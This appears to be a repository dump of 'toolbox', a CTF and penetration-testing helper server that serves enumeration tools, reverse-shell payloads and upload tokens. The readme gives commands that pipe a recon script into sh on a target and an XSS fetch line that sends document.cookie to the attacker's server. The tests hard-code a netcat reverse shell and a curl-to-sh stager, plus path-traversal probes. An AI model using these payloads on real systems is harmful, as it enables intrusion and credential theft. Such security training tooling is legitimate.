--------------------------------------------------------------------------------
/images/upload_file_token.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/upload_file_token.png


--------------------------------------------------------------------------------
/images/upload_file_token_authentication.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/upload_file_token_authentication.png


--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | set -euxo pipefail
 3 | 
 4 | function check_dependency() {
 5 |     local dependency=$1
 6 |     command -v "$dependency" > /dev/null 2>&1 || (echo "Missing ${dependency} - please install"; exit 1)
 7 | }
 8 | 
 9 | # Verify dependencies are all installed
10 | check_dependency "curl"
11 | check_dependency "git"
12 | check_dependency "python3"
13 | 
14 | # Fetch third_party repositories
15 | git submodule update --init --recursive
16 | 
17 | # Project dependencies
18 | python3 -m pip install -r requirements.txt
19 | 
20 | # Linpeas needs its own compilation step, and can't simply be Git cloned. Grab the releases instead
21 | (
22 |     cd ./third_party
23 |     mkdir PEASS-ng 2>/dev/null || true
24 |     cd PEASS-ng
25 |     curl --silent https://api.github.com/repos/carlospolop/PEASS-ng/releases/latest \
26 |         | grep "browser_download_url.*" \
27 |         | cut -d : -f 2,3 \
28 |         | tr -d \" \
29 |         | xargs -n 1 curl --silent --remote-name --location
30 | )
31 | 


--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
 1 | [tool.pytest.ini_options]
 2 | minversion = "6.0"
 3 | addopts = "-ra -v"
 4 | testpaths = [
 5 |     "tests"
 6 | ]
 7 | markers = "focus: mark a test as focused"
 8 | 
 9 | [tool.black]
10 | exclude = "third_party|toolbox/server/templates"
11 | 


--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
  1 | # toolbox
  2 | 
  3 | Currently toolbox provides functionality similar to `python3 -m http.server`, it will:
  4 | 
  5 | - Serve the files within the provided directory
  6 | - Serve common CTF tools, such as:
  7 |   - [linpeas / winpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git) - Enumeration scripts for priv esc
  8 |   - [static-binaries](https://github.com/andrew-d/static-binaries) - compiled tools such as ncat/socat/nmap/etc
  9 |   - [SharpCollection](https://github.com/Flangvik/SharpCollection) - Nightly builds of common C# offensive tools
 10 | - Serve payload/shell generation
 11 | 
 12 | ## Installing
 13 | 
 14 | ```
 15 | git clone https://github.com/AlanFoster/toolbox.git
 16 | ```
 17 | 
 18 | Install the dependencies:
 19 | ```
 20 | cd toolbox
 21 | ./install.sh
 22 | ```
 23 | 
 24 | Verify it works:
 25 | 
 26 | ```
 27 | python3 toolbox.py --help
 28 | ```
 29 | 
 30 | ## Using Docker
 31 | 
 32 | 
 33 | Build the image:
 34 | 
 35 | ```
 36 | docker build -t toolbox .
 37 | ```
 38 | 
 39 | Example usage:
 40 | 
 41 | ```
 42 | docker run -it --rm -p 8000:8000 toolbox /bin/sh -c "python toolbox.py serve -p 8000 ."
 43 | ```
 44 | 
 45 | ## Running
 46 | 
 47 | ### Server
 48 | 
 49 | The server will:
 50 | - Serve the files within the provided directory
 51 | - Serve common CTF tools, such as linpeas.sh and static binaries
 52 | - Serve payload/shell generation
 53 | 
 54 | Usage:
 55 | 
 56 | ```
 57 | # Remember to follow the installing steps first - i.e. with install.sh above
 58 | python3 toolbox.py serve -p 8000 .
 59 | ```
 60 | 
 61 | You can now visit the running server at `http://localhost:8000`
 62 | 
 63 | ![Example of the running server](./images/server.png)
 64 | 
 65 | By default the server supports the following files:
 66 | 
 67 | - [Payloads](toolbox/server/templates/modules)
 68 | - [Common tools](toolbox/config.json)
 69 | 
 70 | ### Workflows
 71 | 
 72 | #### Generating payloads
 73 | 
 74 | The home page will show all available payloads and can be accessed on the target machine.
 75 | 
 76 | For example using `shell.sh`:
 77 | 
 78 | - `/shells/shell.sh` - running on default host/port 127.0.0.1 4444
 79 | - `/shells/shell.sh/4444` - custom port
 80 | - `/shells/shell.sh/127.0.0.1/4444` - custom host and port
 81 | 
 82 | On the host machine you create a listener as normal:
 83 | 
 84 | ```
 85 | rlwrap nc -lnvp 4444
 86 | ```
 87 | 
 88 | #### Uploading files
 89 | 
 90 | If you wish to upload files to your host machine from a target you can generate temporary one time upload tokens. Note that this functionality requires that the server be started with a secure `--password` flag, otherwise it is disabled from the interface:
 91 | 
 92 | ```
 93 | python3 toolbox.py serve -p 8000 --password 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 .
 94 | ```
 95 | 
 96 | When the browser prompts for authentication only the password is required:
 97 | 
 98 | ![Upload file name](./images/upload_file.png)
 99 | ![Upload file token authentication](./images/upload_file_token_authentication.png)
100 | ![Upload file token](./images/upload_file_token.png)
101 | 
102 | After running the generated command on the target machine the file will be accessible on the host machine. Note that this token will be invalidated after use, and cannot be reused:
103 | 
104 | ![Upload file command on target](./images/upload_file_target.png)
105 | 
106 | #### Remote target recon
107 | 
108 | The `recon.sh` script is great for use in the scenario of having initial remote code execution and you want to upgrade to a working shell. This script will log information about the remote target which you can then use to select the best reverse shell payload.
109 | 
110 | First run the `recon.sh` script on the target machine with either `curl` or `wget`:
111 | 
112 | ```
113 | curl http://localhost:8000/shells/recon.sh | sh
114 | wget http://localhost:8000/shells/recon.sh -O- | sh
115 | ```
116 | 
117 | The server console will now log information about the remote target. In the below scenario we can see that the target is running as `root`, and has both `nc` and `python3` available - which is enough information to decide on a reverse shell payload:
118 | 
119 | ![Example of the extracting data from the target](./images/recon.png)
120 | 
121 | Note that this remote logging functionality is implemented by making HTTP requests to the server with a base path of `/debug`. The `value` query string parameter will additionally be base64 decoded and highlighted in green. This means you can easily extract arbitrary information from the host machine, examples:
122 | 
123 | ```bash
124 | wget "http://localhost:8000/debug/"
125 | wget "http://localhost:8000/debug/hello_world"
126 | wget "http://localhost:8000/debug/tools/python/?value=$(python --version 2>&1 | base64 | tr -d \\n | sed -e 's/+/%2B/' -e 's#/#%2F#')" -O /dev/null
127 | ```
128 | 
129 | The `/debug` endpoint can be great for validating XSS payloads too. For instance within JavaScript you could use the following to track important parts of your XSS payload:
130 | 
131 | ```javascript
132 | fetch("http://server_ip:8000/debug/xss_code_started");
133 | fetch(`http://server_ip:8000/debug/extracted_cookies?value=${encodeURI(btoa(document.cookie))}`);
134 | ```
135 | 
136 | ## Contributing
137 | 
138 | ### Updating requirements.txt
139 | 
140 | Updating `pipenv` currently requires a manual change to `requirements.txt`.
141 | This file will not contain dev-dependencies and is meant for end-users.
142 | 
143 | ```
144 | pipenv requirements > requirements.txt
145 | ```
146 | 
147 | ### Adding additional tools
148 | 
149 | You can add additional third party projects by creating a new Git submodule:
150 | 
151 | ```
152 | git submodule add https://github.com/owner/project_name third_party/project_name
153 | ```
154 | 
155 | And updating the associated [configuration file](toolbox/config.json) to include the new tool.
156 | 
157 | ### Running tests
158 | 
159 | You must first install the developer dependencies:
160 | 
161 | ```shell
162 | pipenv install --dev
163 | ```
164 | 
165 | Enter a Python environment:
166 | 
167 | ```shell
168 | pipenv shell
169 | ```
170 | 
171 | Running all tests:
172 | 
173 | ```shell
174 | pytest
175 | ```
176 | 
177 | To run only one set of tests add the focus marker:
178 | 
179 | ```python
180 | @pytest.mark.focus
181 | def test_some_method():
182 |     assert 1 == 1
183 | ```
184 | 
185 | Run with:
186 | 
187 | ```shell
188 | pytest -m focus
189 | ```
190 | 
191 | To enter an interactive debugging environment place either of the two lines into your code:
192 | 
193 | ```python
194 | breakpoint()
195 | import pdb; pdb.set_trace()
196 | ```
197 | 
198 | Updating third party dependencies:
199 | 
200 | ```
201 | git submodule update --remote
202 | ```
203 | 
204 | ## Planned
205 | 
206 | - Configure setup.py to install only the required source code + data files + licenses
207 | - Automated github actions to ensure the latest third party libraries are downloaded
208 | - Potentially add exploits with configurable payloads
209 | - Shell listener support, instead of `rlwrap nc`
210 | - Generate one time upload tokens from the command line directly, with/without the server running
211 | - Add additional files:
212 |   - Static pspy64
213 |   - Static Docker client
214 | 


--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
 1 | -i https://pypi.org/simple
 2 | attrs==22.2.0 ; python_version >= '3.6'
 3 | beautifulsoup4==4.12.0
 4 | click==8.1.3
 5 | exceptiongroup==1.1.1 ; python_version < '3.11'
 6 | flask==2.2.3
 7 | flask-httpauth==4.7.0
 8 | flask-wtf==1.0.1
 9 | importlib-metadata==6.1.0 ; python_version < '3.10'
10 | iniconfig==2.0.0 ; python_version >= '3.7'
11 | itsdangerous==2.1.2 ; python_version >= '3.7'
12 | jinja2==3.1.2 ; python_version >= '3.7'
13 | markupsafe==2.1.2 ; python_version >= '3.7'
14 | netifaces==0.10.9 ; sys_platform != 'win32'
15 | packaging==23.0 ; python_version >= '3.7'
16 | pluggy==1.0.0 ; python_version >= '3.6'
17 | pytest==7.2.2 ; python_version >= '3.7'
18 | pytest-mock==3.10.0
19 | soupsieve==2.4 ; python_version >= '3.7'
20 | tomli==2.0.1 ; python_version < '3.11'
21 | werkzeug==2.2.3 ; python_version >= '3.7'
22 | wtforms==3.0.1 ; python_version >= '3.7'
23 | zipp==3.15.0 ; python_version >= '3.7'
24 | 


--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
 1 | # #!/usr/bin/env python
 2 | 
 3 | # TODO: It isn't currently clear how to best embed arbitrary files and load them
 4 | # https://flit.readthedocs.io/en/latest/pyproject_toml.html#build-system-section
 5 | # https://flit.readthedocs.io/en/latest/index.html
 6 | # https://dx13.co.uk/articles/2020/01/02/python-packaging-in-2020/
 7 | # https://stackoverflow.com/questions/6028000/how-to-read-a-static-file-from-inside-a-python-package
 8 | # https://setuptools.readthedocs.io/en/latest/userguide/datafiles.html
 9 | # pip3 install .
10 | 
11 | # import setuptools
12 | # import codecs
13 | # import os.path
14 | # from pathlib import Path
15 | # import json
16 | 
17 | 
18 | # def read(rel_path):
19 | #     here = os.path.abspath(os.path.dirname(__file__))
20 | #     with codecs.open(os.path.join(here, rel_path), "r") as fp:
21 | #         return fp.read()
22 | 
23 | 
24 | # def get_version(rel_path):
25 | #     for line in read(rel_path).splitlines():
26 | #         if line.startswith("__version__"):
27 | #             delim = '"' if '"' in line else "'"
28 | #             return line.split(delim)[1]
29 | #     else:
30 | #         raise RuntimeError("Unable to find version string.")
31 | 
32 | 
33 | # # TODO: Find a nicer way of bundling dependencies in the future. This is copied from toolbox/server for now.
34 | # def get_relative_custom_server_file_paths():
35 | #     root_path = Path(__file__).parent
36 | #     config_path = root_path / Path("toolbox/config.json")
37 | #     server_files = {}
38 | #     with open(config_path) as config_file:
39 | #         config = json.load(config_file)
40 | 
41 | #     for config_value in config["server"]:
42 | #         server_path = config_value["server_path"]
43 | #         local_path = config_value["local_path"]
44 | #         if server_path in server_files:
45 | #             raise ValueError(
46 | #                 f"Duplicate server_path '{server_path}' for local_path '{local_path}'"
47 | #             )
48 | #         local_path = root_path / local_path
49 | #         if not local_path.is_file():
50 | #             raise ValueError(f"local_path '{local_path}' is not a valid file.")
51 | 
52 | #         server_files[server_path] = Path(local_path)
53 | 
54 | #     relative_file_paths = [str(server_file.relative_to(root_path)) for server_file in server_files.values()]
55 | #     import pdb; pdb.set_trace()
56 | #     return relative_file_paths
57 | 
58 | 
59 | # if __name__ == "__main__":
60 | #     setuptools.setup(
61 | #         name="toolbox",
62 | #         description="ctf toolbox",
63 | #         long_description=open("readme.md").read(),
64 | #         url="https://github.com/AlanFoster/toolbox.git",
65 | #         version=get_version("toolbox/__init__.py"),
66 | #         scripts=["bin/toolbox"],
67 | #         packages=["toolbox", "toolbox.server"],
68 | #         install_requires=["click", "flask", "netifaces"],
69 | #         zip_safe=False,
70 | #         package_data={"toolbox.server": ["templates/*"]},
71 | #         include_package_data=True,
72 | #         data_files=[("", get_relative_custom_server_file_paths())],
73 | #     )
74 | 


--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/tests/__init__.py


--------------------------------------------------------------------------------
/tests/conftest.py:
--------------------------------------------------------------------------------
 1 | import pytest
 2 | from toolbox.server import make_app
 3 | from pathlib import Path
 4 | from flask import Flask
 5 | from http import HTTPStatus
 6 | import secrets
 7 | from flask_wtf.csrf import CSRFError, CSRFProtect, generate_csrf
 8 | 
 9 | 
10 | # Open the given response in a browser to inspect the rendered html
11 | @pytest.fixture
12 | def open_response():
13 |     def _open_response(response):
14 |         import tempfile
15 |         import subprocess
16 |         import time
17 | 
18 |         with tempfile.NamedTemporaryFile(suffix=".html") as tmp:
19 |             tmp.write(response.data)
20 |             tmp.flush()
21 |             subprocess.run(["open", tmp.name])
22 |             time.sleep(1)
23 | 
24 |     return _open_response
25 | 
26 | 
27 | @pytest.fixture
28 | def app():
29 |     app = Flask(__name__)
30 |     test_harness = Path(__file__).parent / "harnesses" / "simple"
31 |     app.config["ROOT_USER_DIRECTORY"] = test_harness / "serve"
32 |     app.config["ROOT_TOOLBOX_DIRECTORY"] = test_harness / "toolbox"
33 |     app.config["CONFIG_PATH"] = test_harness / "toolbox" / "config.json"
34 |     app.config["HAS_UPLOADS_ENABLED"] = True
35 |     app.register_blueprint(make_app.server)
36 | 
37 |     secret_key = secrets.token_bytes(32)
38 |     app.secret_key = secret_key
39 |     make_app.csrf.init_app(app)
40 | 
41 |     @app.route("/csrf_token", methods=["GET"])
42 |     def csrf_token():
43 |         return generate_csrf()
44 | 
45 |     @make_app.auth.verify_password
46 |     def verify_password(username, password) -> bool:
47 |         return True
48 | 
49 |     return app
50 | 
51 | 
52 | @pytest.fixture
53 | def req_ctx(app):
54 |     with app.test_request_context() as ctx:
55 |         yield ctx
56 | 
57 | 
58 | @pytest.fixture
59 | def client(app):
60 |     return app.test_client()
61 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/serve/folder/child.txt:
--------------------------------------------------------------------------------
1 | child.txt content
2 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/serve/folder/nested_folder/nested_child.txt:
--------------------------------------------------------------------------------
1 | nested_child.txt content
2 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/serve/simple.txt:
--------------------------------------------------------------------------------
1 | simple.txt content
2 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/toolbox/arbitrary_file_read.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/tests/harnesses/simple/toolbox/arbitrary_file_read.txt


--------------------------------------------------------------------------------
/tests/harnesses/simple/toolbox/config.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "server": [
 3 |         {
 4 |           "server_path": "/enum_linux.sh",
 5 |           "local_path": "third_party/enum_scripts/linux/enum.sh"
 6 |         },
 7 |         {
 8 |           "server_path": "/enum_windows.exe",
 9 |           "local_path": "third_party/enum_scripts/windows/enum.exe"
10 |         },
11 |         {
12 |           "server_path": "/my_custom_namespace",
13 |           "local_path": "third_party/enum_scripts"
14 |         }
15 |     ]
16 | }
17 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/toolbox/third_party/arbitrary_file_read_test.txt:
--------------------------------------------------------------------------------
1 | It shouldn't be possible to read this file
2 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/toolbox/third_party/enum_scripts/linux/enum.sh:
--------------------------------------------------------------------------------
1 | enum.sh content
2 | 


--------------------------------------------------------------------------------
/tests/harnesses/simple/toolbox/third_party/enum_scripts/windows/enum.exe:
--------------------------------------------------------------------------------
1 | enum.exe content
2 | 


--------------------------------------------------------------------------------
/tests/test_file_server.py:
--------------------------------------------------------------------------------
  1 | import pytest
  2 | from toolbox.server import server
  3 | from pathlib import Path
  4 | from flask import Flask
  5 | from http import HTTPStatus
  6 | import secrets
  7 | from bs4 import BeautifulSoup
  8 | 
  9 | 
 10 | def assert_response_has_link(response, **options):
 11 |     parsed = BeautifulSoup(response.data, features="html.parser")
 12 |     match = parsed.find_all("a", **options)
 13 |     assert len(match) > 0
 14 | 
 15 | 
 16 | @pytest.mark.parametrize(
 17 |     "href,name",
 18 |     [("/folder", "folder/"), ("/simple.txt", "simple.txt")],
 19 | )
 20 | def test_index_served_files(client, href, name):
 21 |     response = client.get("/")
 22 |     assert response.status_code == HTTPStatus.OK
 23 |     assert_response_has_link(response, href=href, string=name)
 24 | 
 25 | 
 26 | @pytest.mark.parametrize(
 27 |     "href,name",
 28 |     [
 29 |         ("/enum_linux.sh", "enum_linux.sh"),
 30 |         ("/enum_windows.exe", "enum_windows.exe"),
 31 |         ("/my_custom_namespace", "my_custom_namespace/"),
 32 |     ],
 33 | )
 34 | def test_index_toolbox_files(client, href, name):
 35 |     response = client.get("/")
 36 |     assert response.status_code == HTTPStatus.OK
 37 |     assert_response_has_link(response, href=href, string=name)
 38 | 
 39 | 
 40 | @pytest.mark.parametrize(
 41 |     "href,name",
 42 |     [
 43 |         ("/shells/shell.js", "/shells/shell.js"),
 44 |         ("/shells/shell.js/4444", "/shells/shell.js/4444"),
 45 |         ("/shells/shell.js/127.0.0.1/4444", "/shells/shell.js/127.0.0.1/4444"),
 46 |     ],
 47 | )
 48 | def test_index_shells(client, href, name):
 49 |     response = client.get("/")
 50 |     assert response.status_code == HTTPStatus.OK
 51 |     assert_response_has_link(response, href=href, string=name)
 52 | 
 53 | 
 54 | @pytest.mark.parametrize(
 55 |     "path,expected_data",
 56 |     [
 57 |         ("/simple.txt", b"simple.txt content\n"),
 58 |         ("/folder/child.txt", b"child.txt content\n"),
 59 |         ("/folder/nested_folder/nested_child.txt", b"nested_child.txt content\n"),
 60 |     ],
 61 | )
 62 | def test_reading_user_files(client, path, expected_data):
 63 |     response = client.get(path)
 64 |     assert response.status_code == HTTPStatus.OK
 65 |     assert response.data == expected_data
 66 | 
 67 | 
 68 | @pytest.mark.parametrize(
 69 |     "path,expected_links",
 70 |     [
 71 |         (
 72 |             "/folder",
 73 |             [
 74 |                 b'<a href="/folder/child.txt">child.txt</a>',
 75 |                 b'<a href="/folder/nested_folder">nested_folder/</a>',
 76 |             ],
 77 |         ),
 78 |         (
 79 |             "/folder/nested_folder",
 80 |             [b'<a href="/folder/nested_folder/nested_child.txt">nested_child.txt</a>'],
 81 |         ),
 82 |     ],
 83 | )
 84 | def test_viewing_user_folders(client, path, expected_links):
 85 |     response = client.get(path)
 86 |     assert response.status_code == HTTPStatus.OK
 87 |     for link in expected_links:
 88 |         assert link in response.data
 89 | 
 90 | 
 91 | @pytest.mark.parametrize(
 92 |     "path,expected_data",
 93 |     [
 94 |         ("/enum_linux.sh", b"enum.sh content\n"),
 95 |         ("/enum_windows.exe", b"enum.exe content\n"),
 96 |     ],
 97 | )
 98 | def test_reading_toolbox_files(client, path, expected_data):
 99 |     response = client.get(path)
100 |     assert response.status_code == HTTPStatus.OK
101 |     assert response.data == expected_data
102 | 
103 | 
104 | @pytest.mark.parametrize(
105 |     "path,expected_data",
106 |     [
107 |         ("/my_custom_namespace/linux/enum.sh", b"enum.sh content\n"),
108 |         ("/my_custom_namespace/windows/enum.exe", b"enum.exe content\n"),
109 |     ],
110 | )
111 | def test_reading_toolbox_files_with_namespace(client, path, expected_data):
112 |     response = client.get(path)
113 |     assert response.status_code == HTTPStatus.OK
114 |     assert response.data == expected_data
115 | 
116 | 
117 | @pytest.mark.parametrize(
118 |     "path,expected_links",
119 |     [
120 |         (
121 |             "/my_custom_namespace",
122 |             [
123 |                 b'<a href="/my_custom_namespace/linux">linux/</a>',
124 |                 b'<a href="/my_custom_namespace/windows">windows/</a>',
125 |             ],
126 |         ),
127 |         (
128 |             "/my_custom_namespace/",
129 |             [
130 |                 b'<a href="/my_custom_namespace/linux">linux/</a>',
131 |                 b'<a href="/my_custom_namespace/windows">windows/</a>',
132 |             ],
133 |         ),
134 |         (
135 |             "/my_custom_namespace/linux",
136 |             [b'<a href="/my_custom_namespace/linux/enum.sh">enum.sh</a>'],
137 |         ),
138 |         (
139 |             "/my_custom_namespace/windows",
140 |             [b'<a href="/my_custom_namespace/windows/enum.exe">enum.exe</a>'],
141 |         ),
142 |     ],
143 | )
144 | def test_exploring_toolbox_files_with_namespaces(client, path, expected_links):
145 |     response = client.get(path)
146 |     assert response.status_code == HTTPStatus.OK
147 |     for link in expected_links:
148 |         assert link in response.data
149 | 
150 | 
151 | @pytest.mark.parametrize(
152 |     "path",
153 |     [
154 |         "/missing.sh",
155 |         "/foo/missing.sh",
156 |         "/foo/bar/missing.sh",
157 |         "/foo/bar/missing.sh",
158 |     ],
159 | )
160 | def test_requesting_missing_files(client, path):
161 |     response = client.get(path)
162 |     assert response.status_code == HTTPStatus.NOT_FOUND
163 |     assert b"The requested URL was not found on the server" in response.data
164 | 
165 | 
166 | @pytest.mark.parametrize(
167 |     "path",
168 |     [
169 |         "../../../../../.../../../../../../../../../../../../../../../etc",
170 |         "../../../../../.../../../../../../../../../../../../../../../etc/",
171 |         "../../../../../.../../../../../../../../../../../../../../../etc/passwd",
172 |         "//etc/passwd",
173 |         "/../../../../../../../../../../../../../../../../../../etc/passwd",
174 |         "/folder//etc/passwd",
175 |         "/my_custom_namespace//etc/passwd",
176 |         "/my_custom_namespace//etc/",
177 |         "/my_custom_namespace//../../../../../../../../../../../../../../../../../../etc/passwd",
178 |         "/my_custom_namespace/../../../../../../../../../../../../../../../../../../etc/",
179 |         "/my_custom_namespace/../../../../../../../../../../../../../../../../../../etc",
180 |         "/my_custom_namespace/../arbitrary_file_read_test.txt",
181 |         "/my_custom_namespace/../../arbitrary_file_read_test.txt",
182 |     ],
183 | )
184 | def test_security_against_arbitrary_file_read(client, path):
185 |     response = client.get(path)
186 |     assert response.status_code == HTTPStatus.NOT_FOUND
187 |     assert b"The requested URL was not found on the server" in response.data
188 | 
189 | 
190 | @pytest.mark.parametrize(
191 |     "path,expected",
192 |     [
193 |         (
194 |             "/shells/shell.sh",
195 |             b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f",
196 |         ),
197 |         (
198 |             "/shells/shell.sh/5555",
199 |             b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 5555 >/tmp/f",
200 |         ),
201 |         (
202 |             "/shells/shell.sh/10.10.10.10/1234",
203 |             b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f",
204 |         ),
205 |     ],
206 | )
207 | def test_shell_sh(client, path, expected):
208 |     response = client.get(path)
209 |     assert response.data == expected
210 | 
211 | 
212 | @pytest.mark.parametrize(
213 |     "path,expected",
214 |     [
215 |         (
216 |             "/shells/shell.lua",
217 |             b'os.execute("/usr/bin/curl http://localhost/shells/shell.sh | /bin/sh")',
218 |         ),
219 |         # Note: The lua payload is a stager, and lhost/lport values have no impact
220 |         (
221 |             "/shells/shell.lua/5555",
222 |             b'os.execute("/usr/bin/curl http://localhost/shells/shell.sh | /bin/sh")',
223 |         ),
224 |         (
225 |             "/shells/shell.lua/10.10.10.10/1234",
226 |             b'os.execute("/usr/bin/curl http://localhost/shells/shell.sh | /bin/sh")',
227 |         ),
228 |     ],
229 | )
230 | def test_shell_lua(client, path, expected):
231 |     response = client.get(path)
232 |     assert response.data == expected
233 | 
234 | 
235 | @pytest.mark.parametrize(
236 |     "path",
237 |     [
238 |         "/shells/missing.sh",
239 |         "/shells/missing.sh/5555",
240 |         "/shells/missing.sh/10.10.10.10/1234",
241 |         "/shells/index.html",
242 |         "/shells/index.html/5555",
243 |         "/shells/index.html/10.10.10.10/1234",
244 |     ],
245 | )
246 | def test_shell_invalid_shells(client, path):
247 |     response = client.get(path)
248 |     assert response.status_code == HTTPStatus.NOT_FOUND
249 |     assert b"The requested URL was not found on the server" in response.data
250 | 
251 | 
252 | @pytest.mark.parametrize(
253 |     "path",
254 |     [
255 |         "/debug/",
256 |         "/debug/?value=",
257 |         "/debug/?value=aGVsbG8=",
258 |         "/debug/foo?value=aGVsbG8=",
259 |         "/debug/foo/bar?value=aGVsbG8=",
260 |         "/debug/foo/bar?value=not_base64_value",
261 |     ],
262 | )
263 | def test_debug(client, path):
264 |     response = client.get(path)
265 |     assert response.status_code == HTTPStatus.OK
266 |     assert response.data == b""
267 | 


--------------------------------------------------------------------------------
/tests/test_formatters.py:
--------------------------------------------------------------------------------
 1 | import pytest
 2 | from toolbox.server.formatters import pretty_date
 3 | from datetime import datetime, timedelta
 4 | 
 5 | NOW = datetime(2019, 4, 13)
 6 | 
 7 | 
 8 | @pytest.mark.parametrize(
 9 |     "date,expected",
10 |     [
11 |         (NOW, "0 seconds ago"),
12 |         (NOW - timedelta(seconds=10), "10 seconds ago"),
13 |         (NOW - timedelta(seconds=59), "59 seconds ago"),
14 |         (NOW - timedelta(seconds=60), "1 minutes ago"),
15 |         (NOW - timedelta(seconds=90), "1 minutes ago"),
16 |         (NOW - timedelta(seconds=120), "2 minutes ago"),
17 |         (NOW - timedelta(minutes=59, seconds=59), "59 minutes ago"),
18 |         (NOW - timedelta(minutes=61), "1 hours ago"),
19 |         (NOW - timedelta(minutes=140), "2 hours ago"),
20 |         (NOW - timedelta(weeks=2), "14 days ago"),
21 |     ],
22 | )
23 | def test_upload_token_creation_missing_csrf_token(date, expected):
24 |     assert pretty_date(date, now=NOW) == expected
25 | 


--------------------------------------------------------------------------------
/tests/test_uploads.py:
--------------------------------------------------------------------------------
  1 | import pytest
  2 | from toolbox.server import server
  3 | from pathlib import Path
  4 | from flask import Flask
  5 | from http import HTTPStatus
  6 | import tempfile
  7 | import secrets
  8 | import pytest
  9 | import re
 10 | import io
 11 | import os
 12 | import builtins
 13 | from pytest_mock import MockerFixture
 14 | from pathlib import Path
 15 | 
 16 | 
 17 | def extract_token_id(response, file_name):
 18 |     assert response.status_code == HTTPStatus.OK
 19 | 
 20 |     match = re.search(
 21 |         f'curl -F "file=@{file_name}" -F "token_id=(.*)" http://localhost/uploads',
 22 |         response.data.decode("utf-8"),
 23 |     )
 24 |     assert match is not None
 25 | 
 26 |     token_id = match.group(1)
 27 |     assert token_id is not None
 28 |     return token_id
 29 | 
 30 | 
 31 | def test_upload_token_creation(app, client, req_ctx):
 32 |     csrf_token = client.get("/csrf_token").data.decode("utf-8")
 33 |     response = client.post(
 34 |         "/tokens",
 35 |         content_type="application/x-www-form-urlencoded",
 36 |         data=dict(csrf_token=csrf_token, file_name="test_upload_file.txt"),
 37 |         follow_redirects=True,
 38 |     )
 39 | 
 40 |     assert response.status_code == HTTPStatus.OK
 41 |     assert extract_token_id(response, file_name="./test_upload_file.txt") is not None
 42 | 
 43 | 
 44 | @pytest.mark.parametrize(
 45 |     "csrf_token,expected_data",
 46 |     [
 47 |         (None, b"The CSRF token is missing"),
 48 |         ("abcdef", b"The CSRF session token is missing"),
 49 |     ],
 50 | )
 51 | def test_upload_token_creation_missing_csrf_token(
 52 |     csrf_token, expected_data, app, client, req_ctx
 53 | ):
 54 |     response = client.post(
 55 |         "/tokens",
 56 |         content_type="application/x-www-form-urlencoded",
 57 |         data=dict(csrf_token=csrf_token, file_name="test_upload_file.txt"),
 58 |         follow_redirects=True,
 59 |     )
 60 | 
 61 |     assert response.status_code == HTTPStatus.BAD_REQUEST
 62 |     assert expected_data in response.data
 63 | 
 64 | 
 65 | def test_upload_file(mocker: MockerFixture, app, client, req_ctx):
 66 |     def _mock_open(path, mode):
 67 |         if path.name == "config.json":
 68 |             return open(path, mode)
 69 |         elif path.name == "test_upload_file.txt":
 70 |             return tempfile.TemporaryFile(mode)
 71 |         else:
 72 |             raise "Unexpected scenario"
 73 | 
 74 |     mock_open = mocker.Mock()
 75 |     mock_open.side_effect = _mock_open
 76 | 
 77 |     file_manager_open_stub = mocker.patch("toolbox.server.file_manager.open", mock_open)
 78 |     csrf_token = client.get("/csrf_token").data.decode("utf-8")
 79 |     response = client.post(
 80 |         "/tokens",
 81 |         content_type="application/x-www-form-urlencoded",
 82 |         data=dict(csrf_token=csrf_token, file_name="test_upload_file.txt"),
 83 |         follow_redirects=True,
 84 |     )
 85 | 
 86 |     token_id = extract_token_id(response, file_name="./test_upload_file.txt")
 87 |     new_file_content = b"testing file upload content\n"
 88 |     response = client.post(
 89 |         "/uploads",
 90 |         content_type="multipart/form-data",
 91 |         data=dict(
 92 |             token_id=token_id,
 93 |             file=(io.BytesIO(new_file_content), "test_upload_file.txt"),
 94 |         ),
 95 |     )
 96 | 
 97 |     assert response.status_code == HTTPStatus.CREATED
 98 |     assert response.data == b'{ "success": true }\n'
 99 |     file_manager_open_stub.assert_called_with(
100 |         Path("./tests/harnesses/simple/serve/test_upload_file.txt").resolve(), "wb"
101 |     )
102 | 
103 | 
104 | @pytest.mark.parametrize(
105 |     "file_name",
106 |     [
107 |         "../arbitrary_write.txt",
108 |         "/tmp/arbitrary_write.txt",
109 |     ],
110 | )
111 | def test_local_file_inclusion(mocker: MockerFixture, app, client, req_ctx, file_name):
112 |     def _mock_open(path, mode):
113 |         if path.name == "config.json":
114 |             return open(path, mode)
115 |         else:
116 |             raise "Unexpected scenario"
117 | 
118 |     mock_open = mocker.Mock()
119 |     mock_open.side_effect = _mock_open
120 | 
121 |     file_manager_open_stub = mocker.patch("toolbox.server.file_manager.open", mock_open)
122 |     csrf_token = client.get("/csrf_token").data.decode("utf-8")
123 |     response = client.post(
124 |         "/tokens",
125 |         content_type="application/x-www-form-urlencoded",
126 |         data=dict(csrf_token=csrf_token, file_name=file_name),
127 |         follow_redirects=True,
